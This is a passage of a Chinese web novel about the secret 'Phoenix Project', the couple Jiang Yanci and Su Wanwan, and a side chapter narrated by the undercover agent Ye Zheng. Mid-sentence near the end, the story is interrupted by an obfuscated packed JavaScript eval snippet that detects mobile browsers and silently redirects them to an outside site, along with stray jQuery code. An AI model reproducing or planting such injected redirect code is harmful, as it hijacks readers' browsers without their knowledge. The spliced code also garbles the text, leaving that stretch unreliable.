今天认识了真真和振华——两个怪人。真真一见我就说:‘你会跳舞?人体的运动轨迹是最美的数学。’振华更直接:‘要不要来实验室?我们需要一个懂身体运动学的人。’ 他们不知道我是来学舞蹈治疗的,但……也许这就是命运。 我答应了。 因为真真眼睛里有光,振华手上有老茧——那是真正做事的人的样子。 薇薇,你做了个大胆的决定。但愿不会后悔。**” 日记一页页翻过,记录着“凤凰计划”从构想到实施的全部过程,也记录着四个年轻人的友谊和成长。 1986年3月15日:“**今天真真和青松吵架了。因为真真想用更激进的方法破解数据,青松说太危险。最后振华出来调停,画了个折中方案。看着他们三个争论,我突然觉得,这可能就是理想团队的样子——有疯狂的想法,有冷静的制约,有智慧的平衡。**” 1987年8月23日:“**黄山之行。林院士带我们看日出,说:‘科学家的任务是发现真理,但更重要的是知道哪些真理不该被使用。’真真问:‘那怎么判断?’林院士说:‘问你的心。如果想到这个真理被使用会让你害怕,那就封存它。’那天我懂了‘凤凰计划’的真正意义——不是开发技术,是设立边界。**” 日记在1998年8月16日中断——那是叶真真牺牲的前一天。 最后一页写着: **“1998年8月16日,阴 青松说‘渡鸦’已经盯上我们了。 真真决定启动最终方案——把核心数据分三份藏起来。 她把‘血脉之钥’给了振华,说:‘江家的血脉会延续,技术也会。’ 把‘记忆之钥’给了我,说:‘薇薇,用舞蹈记住它。艺术比科学更永恒。’ 把‘时间之钥’给了青松,说:‘你是我们的时间胶囊,等未来需要时打开。’ 我们约好,如果谁不在了,剩下的人要继续。 但今晚我有不好的预感。 真真看青松的眼神,像是诀别。 振华握我的手特别紧。 老天,请保佑我们。 请让光明战胜黑暗。 哪怕……需要牺牲。 林薇”** 日记到此结束。 江砚辞和苏晚晚久久无言。他们终于完全理解了上一代人的选择——那不是一时冲动,是长达十三年的深思熟虑和坚定信念。 “他们早就准备好了牺牲。”苏晚晚轻声说,“所以才会留下那么多线索,那么多‘钥匙’。” “因为他们相信,未来会有人继续。”江砚辞握紧她的手,“而那个人,是我们。” ## **下午·茶园劳作** 收拾好心情,两人戴上草帽,背起竹篓,走进茶园。培训中心的规矩——每个老师每周至少要劳动半天,和土地接触,保持清醒。 江砚辞修剪茶枝,苏晚晚采摘嫩叶。阳光透过茶树的缝隙洒下来,在两人身上投下斑驳的光影。 “晚晚。”江砚辞突然开口。 “嗯?” “等明年春天,白茶第一次采摘的时候……”他顿了顿,“我们结婚吧。不办婚礼,就请最亲的朋友,在茶园里,简单就好。” 苏晚晚停下手中的动作,转头看他:“怎么突然说这个?” “不是突然。”江砚辞认真地说,“是想了很久。从在千岛湖的船上你答应我开始,我就在想,要给你什么样的婚礼。后来想通了——最好的婚礼,不是给别人看的仪式,是我们俩在最重要的人见证下,许下承诺的地方。” 他指向茶园:“这里,有我们建的培训中心,有父母们的精神,有真真阿姨他们的故事,还有我们想要的未来。我想在这里,和你开始新的生活。” 苏晚晚笑了,笑容比阳光还暖:“好。但要答应我一件事。” “什么?” “婚礼上,我要跳一支舞。不是表演,是只跳给你看的舞。”她的眼神温柔,“用妈妈教的那些动作,重新编一支舞。关于遇见,关于等待,关于在黑暗中找到光。” 江砚辞点头:“我等着看。” 他们继续劳作,有一搭没一搭地聊天。聊培训中心的新项目,聊周屿想开发的脑机接口辅助舞蹈系统,聊唐果和林骁打算要孩子,聊陆野在缅甸建的第一个女子驾驶学校。 平凡的话题,琐碎的日常。 但这就是他们用尽力气换来的生活——没有惊天动地,只有细水长流。 傍晚时分,他们背着满篓的茶叶下山。夕阳把两人的影子拉得很长,在茶垄间交错,像两个舞者。 走到培训中心门口时,苏晚晚突然停下脚步。 “砚辞,你看。” 她指着培训中心三楼的窗户——那是纪念展厅的方向。窗户里,有什么东西在夕 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“我爸常说,”江砚辞躺在毯子上,看着星空,“赛车手要时刻知道自己在地图上的位置,但更重要的是,知道自己在宇宙中的位置。” “什么意思?” “意思是,别把自己看得太重,但也别把自己看得太轻。”江砚辞说,“每个人都是星海里的一粒尘埃,但每粒尘埃都有它该去的地方。” 苏晚晚靠在他肩上:“我妈也说过类似的话。她说,舞者要记住——舞台再大,大不过天地;掌声再响,响不过心声。” 两代人的智慧,在不同的领域,抵达了相同的领悟。 “有时候我会想,”苏晚晚轻声说,“如果爸妈们还在,看到现在的我们,会说什么。” 江砚辞想了想:“你妈妈可能会说:‘晚晚,你的舞更有力量了。’我爸爸可能会说:‘小辞,你开车的速度慢了,但方向对了。’” 两人都笑了。 笑着笑着,苏晚晚突然说:“其实我一直有个问题想问你。” “什么?” “在瑞士,在阿尔卑斯山,在千岛湖……每一次最危险的时候,你怕过吗?” 江砚辞沉默了很久。 “怕过。”他诚实地说,“但不是怕死。是怕……怕如果我不在了,就没人继续他们的事了。怕真真阿姨的牺牲白费,怕沈青山的坚守没有意义,怕父母们用生命保护的东西,最终消失在时间里。” 他转头看着她:“但后来我不怕了。因为有你在。因为我知道,就算我不在了,你也会继续。就像你不在了,我也会继续。就像……他们那样。” 苏晚晚握紧他的手。是的,这就是传承——不是一个人的坚持,是一代又一代人的接力。 星空下,两人安静地依偎着。 许久,江砚辞轻声说:“晚晚,谢谢你。” “谢我什么?” “谢谢你在那个雨夜走进修车铺,谢谢你在瑞士没有放弃,谢谢你在千岛湖选择相信我……”他顿了顿,“谢谢你,让我找到了比赛车更重要的东西。” 苏晚晚抬起头,在星光下看着他:“我也要谢谢你。谢谢你让我知道,舞蹈不只是舞台上的表演,也可以是改变世界的方式。” 他们对视,眼中映着彼此,也映着整个星空。 然后,江砚辞轻轻地吻了她。没有激情,只有温柔,像茶叶在热水中缓缓舒展,像星光在夜空中静静流淌。 在这个吻里,他们看见了父亲母亲年轻时的样子,看见了真真阿姨和沈青山在实验室里争论的样子,看见了所有离开的人,在时间的那一头,微笑着看着他们。 原来爱真的可以穿越时间。 原来传承真的可以超越生死。 ## **黎明·新的开始** 第一缕晨光刺破黑暗时,两人还依偎在茶园里,身上盖着同一张毯子。 江砚辞先醒来,看着怀中安睡的苏晚晚,看着她睫毛上凝结的露珠,看着她无名指上那枚简单的戒指。 他没有叫醒她,只是静静地看着,像看一件失而复得的珍宝。 直到太阳完全升起,金色的阳光洒满茶园,苏晚晚才悠悠转醒。 “早。”她声音带着睡意。 “早。”江砚辞微笑,“你看。” 苏晚晚顺着他指的方向看去——培训中心的广场上,已经有人开始晨练。周屿在调试新的模拟驾驶舱,唐果和林骁在布置历史档案馆的新展览,李教授在给学员上课,陆野刚从缅甸回来,正和几个女学员讲着什么。 一切都生机勃勃。 “该下山了。”苏晚晚坐起来,“今天有新的学员要来。” “嗯。” 他们收拾好东西,手牵手下山。晨光照在两人身上,将影子投在茶园的小径上,那影子很长,一直延伸到很远的地方,像是通往未来。 走到培训中心门口时,苏晚晚突然回头,看向茶园深处,看向那棵老松树,看向他们刚刚离开的那个观景台。 “砚辞。” “嗯?” “你说,很多年后,还会有人记得这里的故事吗?” 江砚辞也回头,看向那片在晨光中闪闪发光的茶园: “会有人记得。也许不是记得具体的人和事,但会记得——曾经有一群人,在黑暗里守护光明;曾经有两代人,用生命完成了传承;曾经有一个地方,让沾血的技术开出了救人的花。” 他握紧她的手: “而且,我们会把故事讲下去。讲给学员听,讲给将来的孩子听,讲给所有愿意听的人听。只要故事还在讲,记忆就不会消失。” 苏晚晚点头,笑了。 是的,故事还在继续。 培训中心的钟声响起——早晨七点,新的一天正式开始。 学员们从宿舍走出来,走向教室,走向训练场,走向新的课程和新的挑战。 而在茶园深处,那棵老松树下,阳光正好。 仿佛能看见,很多年前,年轻的江振华和林薇坐在那里,讨论着“凤凰计划”的构想;年轻的叶真真和沈青松站在那里,争论着技术的边界;年轻的叶峥站在那里,发誓要为姐姐报仇。 而现在,江砚辞和苏晚晚站在那里,牵着手,看着他们建起来的一切。 时光重叠,记忆交错。 但无论如何重叠,如何交错,那条主线始终清晰——**光明从黑暗中诞生,希望在绝境中延续,爱在牺牲中永恒。** 钟声第二次响起。 两人转身,走进培训中心,走进新的工作,新的生活,新的故事。 而在他们身后,茶园里的白茶在晨光中舒展新叶,竹海在晨风中轻轻摇曳,整个山谷在朝阳下苏醒。 新的一天,真的开始了。 (全文终) 37. 第三十七章 番外·影子的独白 我叫叶峥,但这个名字在过去的十七年里,像一件不合身的衣服,只在偶尔独处时才会穿上。 十七年前,姐姐叶真真在苏黎世实验室的大火中化作一缕青烟。消息传来时,我正坐在剑桥三一学院的图书馆里,准备第二天的神经科学考试。陈国栋局长的越洋电话直接打到了图书馆前台,那个年迈的管理员颤巍巍地找到我,说有一通紧急的“家里电话”。 我至今记得走向电话亭时脚下的触感——老橡木地板吱呀作响,像垂死者的呻吟。拿起听筒,陈局的声音穿过半个地球,带着大西洋海底电缆特有的嘶哑:“叶峥,你姐姐……牺牲了。” 窗外是剑桥永恒的雨,淅淅沥沥打在哥特式窗棂上。我握着话筒,听到自己的声音出奇地平静:“怎么死的?” “实验室火灾。她在销毁‘渡鸦’的核心数据时……”陈局停顿了一下,那个停顿里有太多没有说出口的细节,“引发自毁装置,和资料同归于尽。” “尸体呢?” “火势太大,只找到部分……遗骸。” 我又问:“她痛苦吗?” 电话那头沉默了。长久的沉默,长得我能听见自己心跳的声音——咚,咚,咚,像有人在用钝器敲打棺材。 “陈叔,”我第一次这样叫他,“告诉我实话。” 陈局叹了口气,那叹气声里有什么东西碎了:“现场勘验显示,她在起火前就已经……中枪了。三枪,胸口,腹部,左肩。但她坚持完成了数据销毁程序。” 我闭上眼睛。眼前浮现出姐姐的样子——二十五岁生日那天,她在苏黎世湖边对我说:“小峥,有些事比活着更重要。” 那时我十四岁,不懂。现在我十八岁,还是不懂。 但我必须懂。 “我能做什么?”我问。 “好好读书,好好生活。这是你姐姐的心愿。” “不,”我说,“我能为她做什么?” 电话那头又是沉默。然后陈局说:“如果你真想为她做点什么,就完成学业,然后……来找我。” 挂了电话,我没有哭。我走回座位,翻开厚厚的《神经系统解剖学》,继续复习。同座的金发女生关切地问:“叶,你还好吗?脸色很白。” 我说:“我很好。” 那天我考了全班第一。考完试后,我一个人去了康河边,坐在姐姐曾经坐过的长椅上,看着河水缓缓流淌,直到天黑。 夜晚的康河倒映着剑桥的灯火,像一条流动的星河。我想起姐姐最后一次回英国看我,也是在这样的夜晚。我们坐在这张长椅上,她指着天空说:“小峥,你看那些星星。它们中有些已经死了,但光还在路上。我们看到的,是它们几百万年前的样子。” 她顿了顿,转头看我,眼睛在夜色里亮得像星:“所以啊,小峥,即使姐姐有一天不在了,你看到的我也还是活着的——在你的记忆里,在你的心里。” 那时我十六岁,听着这样的话只觉得矫情。现在我知道了,那不是矫情,是预感。 她早就知道可能会死。 但她还是去了。 *** 三个月后,我收到了姐姐的遗物——一个小小的铁盒,里面只有三样东西:一副碎了镜片的眼镜,一支写完了的圆珠笔,还有一本巴掌大的笔记本。 笔记本是密码本,用的是我们姐弟小时候发明的“星星密码”。我用了一整夜破译,破译出的内容让我在宿舍里呆坐到天亮。 那不是日记,是遗言。 **“给小峥: 如果你看到这些字,说明姐姐已经不能亲口告诉你了。 别哭,小峥。姐姐走这条路,不是被迫,是选择。 ‘渡鸦’在做的那些事——把人和机器强行结合,用技术奴役生命——这违背了科学的本意,也违背了人性的底线。 我们四个人——我、江振华叔叔、林薇阿姨,还有沈青山——决定阻止他们。 我们组成了‘凤凰计划’,想把‘乌鸦计划’的黑暗数据转化成救人的光。 但这很难。‘渡鸦’太强大了,他们渗透了学术界、工业界、甚至政府。 所以,小峥,如果姐姐死了,别急着报仇。 好好活着,好好长大。 如果有一天你决定走这条路,记住姐姐的话: 光越强,影越深。 要做光下的影子,保护那些在光明中行走的人。 永远爱你的姐姐 真真 1998年8月16日 (如果我不在了,这封信会有人寄给你)”** 笔记本的最后一页,夹着一张照片。是1988年拍的,我四岁,姐姐九岁,我们站在北京老家的四合院里,身后是开满紫藤的花架。姐姐蹲着,我站着,她搂着我的肩膀,两人都笑得没心没肺。 照片背面是姐姐的字迹:“**小峥四岁,还尿床,但已经会背唐诗了。今天他说长大要当科学家,我笑他,但心里很骄傲。**” 我摸着那行字,指尖在“骄傲”两个字上停留了很久。 然后,我把照片小心地收进钱包的夹层。 从那一天起,我的人生被分成了两半——明面上,我是剑桥大学的天才学生,成绩优异,前途光明;暗地里,我在接受国安部的基础训练,学习所有能让一个人变成武器的东西。 训练我的人,就是姐姐的搭档,代号“青松”。 我第一次见到青松是在2002年的冬天,北京郊区的一个废弃工厂里。他穿着黑色的训练服,靠在生锈的机器旁,手里拿着我的档案。 “叶峥?”他的声音很低沉,带着江浙一带的口音,“你比你姐姐描述的矮一点。” 我那时二十一岁,一米七八,不算矮了。但我没反驳,只是立正:“是。” 他上下打量我:“为什么想干这行?” “为姐姐报仇。” 他摇头:“这个理由不够。” “那什么理由够?” “不知道。”他把档案扔给我,“但如果你只有这一个理由,我劝你现在就退出。因为仇恨会蒙蔽你的眼睛,会让你做出愚蠢的决定,会让你害死自己和队友。” “那我该为什么?” 他看着我,看了很久。工厂外有乌鸦在叫,声音嘶哑。 “为你相信的东西。”他说,“为你愿意用生命保护的东西。” 那时的我还不完全懂这句话。但接下来的三年,青松用最严酷的方式训练我,也在训练中让我渐渐明白。 他教我格斗,不是比赛用的花架子,是真正杀人或制伏的技术。第一次对练,他三招就把我摔在地上,我的胳膊脱臼了。 “疼吗?”他蹲下来问。 我咬牙:“不疼。” “说谎。”他咔嚓一声把我的胳膊接回去,“疼就喊出来。在这个行当里,承认疼痛比假装坚强重要得多。” 他教我射击,在内蒙古的草原上。我第一次扣动扳机时,手抖得厉害,子弹偏到天上去了。 “害怕?”他站在我身后问。 “不害怕。” “又说谎。”他按住我的肩膀,“害怕是正常的。重要的是,在害怕的时候还能瞄准。” 他教我密码学、情报分析、潜入与反潜入……每一项都要求完美。有次我破解一个加密文件慢了三十秒,他罚我在雪地里站了一夜。 “三十秒,在战场上就是生与死的距离。”他说,“也是任务成功与失败的距离。” 那夜北京下了那年冬天最大的雪,我在雪地里站到天亮,几乎冻僵。黎明时,青松来了,递给我一杯热姜茶。 “恨我吗?”他问。 我摇头。 “为什么?” “因为姐姐说过,你是她最信任的人。” 他沉默了很久,久到雪花在我们之间堆积成一道屏障。 “你姐姐……”他开口,又停住,最后只是说,“她是个很好的人。” “你爱她吗?”我脱口而出。 这个问题太唐突了,我自己都愣住了。但青松没有生气,他只是转过身,看着东方逐渐亮起的天空。 “在这个行当里,”他背对着我说,“爱是奢侈品。我们买不起。” 那一刻,我看见他的肩膀微微颤抖。不是冷,是别的什么东西。 *** 2005年,我完成了所有基础训练,开始执行外围任务。第一次独立行动是在柏林,监视一个“渡鸦”的外围成员——一个在洪堡大学任教的神经学教授。 任务很简单:接近他,获取他电脑里的研究数据,不引起怀疑。 我伪装成交换学生,选修了他的课。教授很欣赏我,邀请我去他家参加学术沙龙。在那里,我第一次近距离接触到“渡鸦”的世界。 沙龙的客人都是欧洲顶尖的科学家,讨论的话题从人工智能到基因编辑,从意识上传到永生技术。他们谈笑风生,举着红酒,像在讨论明天吃什么早餐一样讨论着如何“改进人类”。 “现在的□□太脆弱了,”一个白发苍苍的老教授说,“生病,衰老,死亡……这些都是设计的缺陷。我们应该能做得更好。” “但伦理委员会……”另一个年轻些的学者犹豫。 “伦理?”老教授笑了,“伦理是弱者的借口。真正的进步,总需要有人迈出第一步。” 我在角落里听着,手指在口袋里紧紧握住录音笔。我想起姐姐笔记本里的话:“他们用科学的名义做魔鬼的事。” 沙龙结束后,我趁教授送客时潜入了他的书房。电脑没有密码——他太自信了。我插入U盘,开始拷贝数据。 进度条走到87%时,书房门突然开了。 教授站在门口,手里拿着一杯红酒,脸上的笑容消失了。 “叶同学,”他说,“你在找什么?” 我的大脑飞速运转。是解释?是逃跑?还是…… “我在找真相。”我听到自己说,“关于‘渡鸦’,关于‘乌鸦计划’,关于我姐姐叶真真。” 教授的脸色变了。他放下酒杯,缓缓走向书桌后的暗格——那里有一把枪。 就在他拉开暗格的瞬间,我动了。青松教的所有格斗技巧在那一刻爆发,我扑上去,一个肘击打在他后颈,夺过枪,把他按在地上。 “别动,”我用枪抵着他的太阳穴,“动就死。” 他没有动,只是喘着气说:“你是叶真真的弟弟?” “是。” “她是个叛徒,”他冷笑,“‘渡鸦’给了她最好的条件,她却要毁了所有。” “因为你们在用活人做实验。” “那是必要的牺牲!科学需要进步!” 我扣动了扳机。 不是真枪,是麻醉枪。针头扎进他的脖子,他瞪大眼睛,缓缓软倒。 我完成了数据拷贝,清理了现场,按照撤离路线离开。回到安全屋时,我坐在床上,看着自己颤抖的双手。 刚才那一刻,我真的想杀了他。为姐姐,为那些实验体,为所有被“渡鸦”伤害的人。 但青松的话在耳边响起:“别让仇恨蒙蔽眼睛。” 我拿起卫星电话,打给陈局。 “任务完成。但教授知道我身份了。” “撤离。立刻回国。” “是。” 回国的飞机上,我一直在想:如果今天拿的是真枪,我会扣下扳机吗? 我想我会。 这个认知让我害怕。不是怕杀人,是怕自己正在变成某种怪物——一个以正义为名的怪物。 *** 2006年,我正式加入国安部,接过姐姐的代号“影子”。入职仪式在陈局的办公室里,只有我们两个人。 “从今天起,你就是第二代‘影子’。”陈局递给我一个盒子,里面是姐姐的烈士证书,和一枚崭新的徽章——和姐姐那枚一模一样,只是编号不同。 “你的任务是渗透‘渡鸦’,获取其全球网络信息,最终摧毁它。”陈局说,“这个过程可能需要十年,二十年。你会失去正常人的生活,失去朋友,失去爱人。即使成功了,也不会有人知道你的贡献。你现在退出还来得及。” 我看着姐姐的烈士证书,照片上的她笑得那么灿烂,像从未经历过黑暗。 “我接受。”我说。 第一个任务代号“深潜”。我要彻底潜入“渡鸦”,成为他们的一员。 为此,我需要一个完美的背景故事:父母早逝,姐姐在实验室事故中身亡,孤僻的天才,对技术有近乎偏执的热爱,对人性有深深的不信任。 这些,我都有。只是把部分真相变成了全部。 “渡鸦”的招募很谨慎,考核持续了两年。这两年,我在他们的外围组织里工作,完成各种技术任务——破解竞争对手的加密系统,入侵学术数据库,甚至帮他们改进实验设备的算法。 每一次完成任务,我都会在心里对姐姐说:对不起,我在用你教我的技术,做你厌恶的事。 但这是唯一的路径。要摧毁黑暗,必须先走进黑暗深处。 2009年,我通过了最终考核,正式成为“渡鸦”的“技术评估员”。我的上级是一个叫“夜枭”的德国人,他在慕尼黑郊区有一栋别墅,地下是一个设备齐全的实验室。 第一次去那栋别墅时,夜枭带我参观了实验室。玻璃墙后面,穿着白大褂的技术人员在操作各种仪器。最深处的一个房间里,我看到了一台设备——人形的金属框架,连接着无数电线和导管,框架里固定着一个……人。 不,那已经不能算人了。四肢被机械替代,头颅的一半是金属,眼睛的位置是两个闪烁的红点。 “这是‘乌鸦计划’的最新成果,”夜枭自豪地说,“机械与生物的完美融合。没有痛觉,不会疲劳,绝对服从。” “他还……有意识吗?”我问。 夜枭笑了:“意识?那是最没用的东西。我们要的是效率,是可控性。” 我盯着那个“东西”,胃里翻江倒海。我想起姐姐笔记本里的话:“他们在制造怪物。” “你觉得怎么样?”夜枭问。 我强迫自己露出感兴趣的表情:“很先进。但神经系统兼容性怎么样?不会崩溃吗?” “偶尔会。但那是可以接受的损耗。”夜枭拍拍我的肩,“叶,你很有潜力。好好干,将来你会接触到更核心的东西。” 那天晚上,我在安全屋里吐了一整夜。不是生理上的恶心,是灵魂深处的反胃。 我给青松——那时他已经“牺牲”四年了——的遗物盒里添了一张纸条:“师兄,我今天看到了地狱。但我会继续走下去。因为只有走进地狱的人,才能毁掉它。” 之后三年,我在“渡鸦”内部稳步晋升。2012年,我被调回亚洲区,成为技术主管。表面上,我以海归创业者的身份在深圳开了一家网络安全公司;实际上,我在暗中收集“渡鸦”在亚洲的所有据点信息。 也就是在那一年,我第一次见到江砚辞。 是在一个商业酒会上,他作为新晋F1车手被邀请。我站在角落里,远远地看着他——年轻,骄傲,但眼睛里有一种不该出现在这种场合的清澈。那眼神让我想起了年轻时的姐姐。 我查了他的背景。江振华的儿子。这个名字在姐姐的日记里出现过无数次——“凤凰计划”的核心成员,1999年死于车祸,疑似“渡鸦”所为。 我开始关注这个年轻人。不是任务需要,是某种说不清的感觉——像是看到姐姐生命的另一种可能性,如果她选择平凡人生的话。 我拿到了他的所有资料:比赛数据,车队记录,医疗报告,甚至心理评估。评估报告里有一句话:“对速度有近乎本能的掌控,但对人性有天真到危险的信任。” 天真到危险。这五个字刺痛了我。 因为姐姐也是这样。她相信人性本善,相信技术向善,相信正义终将战胜邪恶。这些相信让她成了烈士。 我想保护这个年轻人,让他不要重蹈覆辙。 但我也知道,一旦被卷进这场战争,没人能全身而退。 *** 2019年,新加坡站事故发生了。 我在电视直播里看到江砚辞的赛车失控,撞上护栏,碎片四溅。看到他被担架抬出来,脸上有血。看到赛后发布会,车队老板Vogel一脸沉痛地宣布:数据被篡改,江砚辞可能涉险作弊。 我知道那不是可能,是肯定。事故数据的篡改手法,和“渡鸦”在欧洲测试过的技术一模一样。 他们动手了。不是因为江砚辞知道了什么,仅仅因为他是江振华的儿子,因为他可能继承了他父亲的技术天赋。 我想立刻出手,但我不能。那时我在“渡鸦”内部的地位还不稳固,贸然行动会暴露多年潜伏。我只能通过一些匿名渠道,给他寄去证据碎片——几张模糊的照片,几段截取的通讯记录,一个瑞士银行的保险箱号码。 我希望他能自己发现真相。 但他没有。或者发现了,但选择了沉默。 他退役了,回到了南城,躲进了修车铺。 我去看过他几次。远远地,坐在街对面的咖啡馆里,透过玻璃窗看他修车。他修得很认真,像是要把所有的愤怒和不甘都拧进螺丝里。 有次下大雨,他忘了收外面的工具,冒雨冲出去收拾。雨水打湿了他的头发和衣服,他站在雨里,抬头看着天空,看了很久。 那身影很孤独。像极了姐姐葬礼那天,我站在雨里看着她的墓碑。 那一刻,我决定:如果有一天他决定战斗,我会帮他。不计代价。 *** 机会在2022年秋天到来。“渡鸦”启动了“启明星计划”,准备在缅甸进行大规模人体实验。同时,加大了对江振华遗留技术的寻找。 我判断,他们很快会对江砚辞采取行动——要么拉拢,要么清除。 我必须在他被卷进来之前,给他武器,给他方向。 于是我寄出了那封匿名信,引导他去瑞士。我知道苏黎世大学图书馆里有姐姐和江振华留下的线索,也知道林静文教授——姐姐当年的好友——会帮助他。 但我没想到的是,苏晚晚会和他一起去。 苏晚晚——林薇的女儿。看到这个名字时,我愣住了。命运像一只无形的手,把二十年前断裂的线重新接了起来。 我在暗处看着他们在瑞士的一切。看着江砚辞在银行保险库前颤抖的肩膀——那不是害怕,是终于触摸到父亲留下的真相时的震动。看着苏晚晚在舞蹈房里坚定的眼神——她跳的是林薇编的舞蹈,那些动作里藏着密码。 看着他们被“渡鸦”追杀时的相互扶持——江砚辞护着苏晚晚,苏晚晚扶着受伤的他,两人在阿尔卑斯山的雪夜里深一脚浅一脚地逃亡。 那一刻,我想起了姐姐日记里的一段话: **“今天和青松在实验室熬通宵。凌晨三点,他趴在桌上睡着了,我给他披了件外套。看着他的睡脸,我突然想:如果有一天我们成功了,世界变好了,我们还能不能像普通人一样,牵着手在阳光下散步? 也许不能。 但至少,我们让有些人有了这样的可能。”** 江砚辞和苏晚晚,就是姐姐说的“有些人”。 阿尔卑斯山的那次救援,是我第一次以“阿影”的身份出现在他们面前。我本可以不现身,通过通讯器远程指导就足够了。 但当我在监控里看到他们被困在废弃缆车上,看到江砚辞肩上的伤口在渗血,看到苏晚晚强装的镇定下是掩饰不住的恐惧——我想起了姐姐。 想起她可能也在某个地方,某个时刻,这样孤立无援过。 于是我去了。穿着白色的雪地伪装服,像个幽灵一样出现在他们面前。 江砚辞问我:“你是谁?” 我说:“影子。” “什么影子?” “光下的影子。” 那是姐姐说过的话。现在,我说出来了。 在安全屋里,江砚辞又问:“你为什么帮我们?” 我说:“受人所托。” 这是真话。托付我的人,是十八岁在姐姐墓前发誓的少年,是二十一岁在青松手下训练的新兵,是这些年在黑暗里独行的“影子”。 但还有一部分原因我没说:因为看到你们,就像看到如果姐姐和青松还活着,可能拥有的样子。 *** 从瑞士回来后,我更深地介入。引导他们找到徐朗,提供证据帮江砚辞翻案,安排国际刑警的隼接应……每一次行动,我都告诉自己:这是为了摧毁“渡鸦”,这是任务。 但我知道我在骗自己。 当苏晚晚在千岛湖被威胁时,我失控了。我调动了国安部在浙江的所有暗线,甚至启用了几个埋藏十年以上的休眠特工,只为了确保她的安全。 陈局在加密通讯里严厉警告我:“影子,你越界了。感情用事会害死你,也会害死他们。” 我说:“对不起。” 但我心里想的是:如果连想保护的人都保护不了,我这些年的潜伏又有什么意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004304|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义? 青松训练我时说:“特工最重要的不是技能,是知道自己为什么而战。” 现在我知道了。我的“为什么”不是宏大的正义,不是抽象的理想,是具体的人——姐姐,青松,江砚辞,苏晚晚,所有被“渡鸦”伤害的人。 这个“为什么”让我在黑暗里走了十七年,让我在无数个想放弃的夜晚继续走下去。 *** “渡鸦”覆灭后,陈局找我谈话。在他的办公室里,阳光很好,照在姐姐的烈士证书上,那些金字闪闪发光。 “你可以退役了。”陈局说,“恢复叶峥的身份,过正常人的生活。你姐姐会希望这样。” 我站在窗前,看着外面的长安街,车水马龙,人来人往。那些人有家人,有朋友,有爱人,有平凡但安稳的生活。 那是我十七年来可望不可及的东西。 “我想继续。”我说。 “为什么?”陈局不解,“‘渡鸦’已经完了,长老会被困在‘归墟’。你的任务完成了。” “还没完。”我转身,“‘渡鸦’在世界各地还有残余势力。这些势力像癌细胞,不清理干净就会复发。而且……” 我顿了顿:“而且我习惯了。习惯了在黑暗里行走,习惯了只有代号没有名字,习惯了醒来不知道自己在哪个国家,习惯了睡觉时枕头下放着枪。” 陈局看着我,看了很久。他的眼神很复杂,有心疼,有骄傲,有愧疚。 “叶峥,”他第一次在办公室里叫我的真名,“你姐姐走的时候,托付我照顾你。但我把你照顾成了……这个样子。” “这是我自己的选择。”我说,“而且,这不是照顾得很好吗?我还活着,还能战斗。” 陈局叹了口气,那叹气声像老了十岁:“去吧。但答应我一件事——活着回来。你姐姐已经不在了,你要替她活着。” 我点头,但没说话。因为在这个行当里,活着回来不是承诺,是运气。 *** 我又上路了。带着青松留下的徽章,带着姐姐的日记,一个人。 这一年,我去了很多地方。 在撒哈拉沙漠的边缘,我清除了一个伪装成考古队的据点。负责人的是个法国老头,他投降时很平静:“我知道会有这一天。三十年了,我每晚都梦见实验室里的那些眼睛。” 在挪威的峡湾,我捣毁了一个伪装成海洋研究所的据点。负责人的是个挪威女人,她问我:“你做这行多久了?” 我说:“十七年。” 她说:“那你一定见过很多死人。” 我说:“是的。” 她问:“那你还能睡得好吗?” 我没有回答。因为答案是不能。十七年来,我几乎没有一夜不做噩梦。有时候梦见姐姐在火里,有时候梦见青松在河里,有时候梦见那些实验体的眼睛在黑暗中盯着我。 但我从不后悔。因为我知道,正是有像我这样活在黑暗里的人,才有人能活在光明里。 这不是自我安慰,是事实。 *** 最后一个据点在玻利维亚的盐湖上。那是一个伪装成天文观测站的地方,负责人的是个前“渡鸦”研究员,七十多岁,头发全白。 我找到他时,他正在望远镜前看星星。 “我知道你会来。”他没有回头,“从‘归墟’沉没的那天起,我就在等你。” “为什么不自首?”我问。 “不敢。”他说,“‘渡鸦’会杀了我的家人。虽然现在‘渡鸦’不在了,但……习惯害怕了。” 我站在他身后,看着盐湖上的星空。天空很干净,星星密密麻麻,像撒了一把钻石。 “你姐姐的事,我听说了。”他突然说,“叶真真,是个了不起的人。” 我的手指握紧了枪。 “别紧张,”他转过身,脸上有奇怪的表情,“我不是在挑衅。我是真的……敬佩她。在那个年代,敢站出来对抗‘渡鸦’的人不多。” “你也是‘渡鸦’的人。”我说。 “我是。”他点头,“但我从来没喜欢过那些实验。我只是……需要工作,需要钱养家。” 这个理由太常见了。常见到可悲。 “你还有什么想说的吗?”我问。 他想了想,说:“有。你姐姐牺牲前,我在苏黎世见过她一次。在咖啡厅里,她和一个年轻男人在一起——应该是沈青山。他们看起来很……幸福。” 我的喉咙发紧。 “我坐在隔壁桌,”他继续说,“听到他们的对话。沈青山问她:‘真真,你后悔吗?’你姐姐说:‘不后悔。但如果可以重来,我想和你多去几次阿尔卑斯山。那里的雪,真的很美。’” 他停顿了一下:“他们走的时候,你姐姐回头看了我一眼。她认出我了——她知道我是‘渡鸦’的人。但她没有举报我,只是对我笑了笑。那个笑容……我记了二十四年。” 我闭上眼睛。脑海里浮现出姐姐的样子——不是烈士,不是特工,只是一个恋爱中的年轻女孩,想去阿尔卑斯山看雪。 “她是个好人。”老头轻声说,“所以,我投降。不是怕你,是想……赎罪。” 我把他移交给国际刑警。在他被押上直升机前,他回头问我:“你会去看阿尔卑斯山的雪吗?” 我说:“会。” 他笑了:“那就好。替她看看。” *** 从玻利维亚回来后,我去了瑞士。在苏黎世湖边租了一栋老房子,住了三个月。 我想整理姐姐和青松留下的所有资料,写一份完整的报告——不是给国安部的任务报告,是给历史,给未来,给所有该知道这些事的人。 整理资料时,我发现了青松藏得很深的一本日记。日记从1996年开始,记录了他和姐姐的点点滴滴。 